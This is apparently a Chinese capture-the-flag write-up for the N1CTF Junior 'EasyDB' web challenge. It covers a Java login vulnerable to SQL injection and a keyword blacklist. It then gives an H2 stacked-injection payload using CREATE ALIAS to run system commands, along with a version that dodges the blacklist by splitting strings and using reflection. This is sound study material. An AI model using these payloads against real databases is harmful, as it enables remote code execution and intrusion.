CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

java 复制代码
    // 处理登录表单的POST请求
    @PostMapping({"/login"})
    public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
        // 验证用户凭据
        if (this.userService.validateUser(username, password)) {
            session.setAttribute("username", username);  // 将用户名存储在会话中
            return "redirect:/";  // 验证成功,重定向到首页
        } else {
            model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型
            return "login";  // 返回登录视图
        }
    }
java 复制代码
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {
    // 使用格式化字符串构建SQL查询语句
    String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
    
    // 检查生成的查询是否安全,防止SQL注入
    if (!SecurityUtils.check(query)) {
        return false;  // 如果查询不安全,返回false
    } else {
        Throwable var8;  // 声明一个Throwable变量,用于异常处理
        // 使用try-with-resources语句自动管理Statement资源
        try (Statement stmt = this.connection.createStatement()) {
            // 执行SQL查询
            stmt.executeQuery(query);
            // 获取结果集
            ResultSet resultSet = stmt.getResultSet();
            Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常

            try {
                // 检查结果集是否有下一条记录(即用户是否存在)
                var8 = resultSet.next();
            } catch (Throwable var31) {
                var8 = var31;  // 捕获异常
                var7 = var31;  // 将异常赋值给var7以便后续处理
                throw var31;  // 重新抛出异常
            } finally {
                // 确保结果集在使用完后被关闭
                if (resultSet != null) {
                    if (var7 != null) {  // 如果有异常,处理异常
                        try {
                            resultSet.close();  // 关闭结果集
                        } catch (Throwable var30) {
                            var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中
                        }
                    } else {
                        resultSet.close();  // 正常关闭结果集
                    }
                }
            }
        } 
    } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

java 复制代码
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {
    // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
    private static final HashSet<String> blackLists = new HashSet<>();

    // 默认构造函数
    public SecurityUtils() {
    }

    // 检查给定的SQL语句是否包含黑名单中的关键字
    public static boolean check(String sql) {
        // 遍历黑名单中的每一个关键字
        for (String keyword : blackLists) {
            // 将SQL语句转换为小写并检查是否包含黑名单关键字
            if (sql.toLowerCase().contains(keyword)) {
                return false; // 如果发现关键字,返回false,表示SQL不安全
            }
        }

        // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
        return true;
    }
}
java 复制代码
static {  
    blackLists.add("runtime");  
    blackLists.add("process");  
    blackLists.add("exec");  
    blackLists.add("shell");  
    blackLists.add("file");  
    blackLists.add("script");  
    blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

sql 复制代码
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
    return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分

2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值

3.因为过滤了runtime,使用getMethodRuntime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

sql 复制代码
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {
    String R = "R" + "untime";
    Class<?> c = Class.forName("java.lang." + R);
    Object rt = c.getMethod("get" + R).invoke(null);//实例化
    c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量函数体定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn't Laugh

相关推荐
ALe要立志成为web糕手1 天前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
jingshaoyou1 天前
Strongswan linked_list_t链表 注释可独立运行测试
数据结构·链表·网络安全·list
鹅肝手握高V五色2 天前
Wireshark入门教程:如何抓取和过滤网络数据包
websocket·网络协议·tcp/ip·http·网络安全·https·udp
nixiaoge2 天前
RCE漏洞
网络安全
禾木KG2 天前
网络安全-等级保护(等保) 1-0 等级保护制度公安部前期发文总结
网络安全
网络抓包与爬虫2 天前
Wireshark——抓包分析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
仙女很美哦2 天前
Flutter视频播放、Flutter VideoPlayer 视频播放组件精要
websocket·网络协议·tcp/ip·http·网络安全·https·udp
CYRUS STUDIO2 天前
Unidbg Trace 反 OLLVM 控制流平坦化(fla)
android·汇编·算法·网络安全·逆向·ollvm
写代码的小王吧2 天前
【Java可执行命令】(十)JAR文件签名工具 jarsigner:通过数字签名及验证保证代码信任与安全,深入解析 Java的 jarsigner命令~
java·开发语言·网络·安全·web安全·网络安全·jar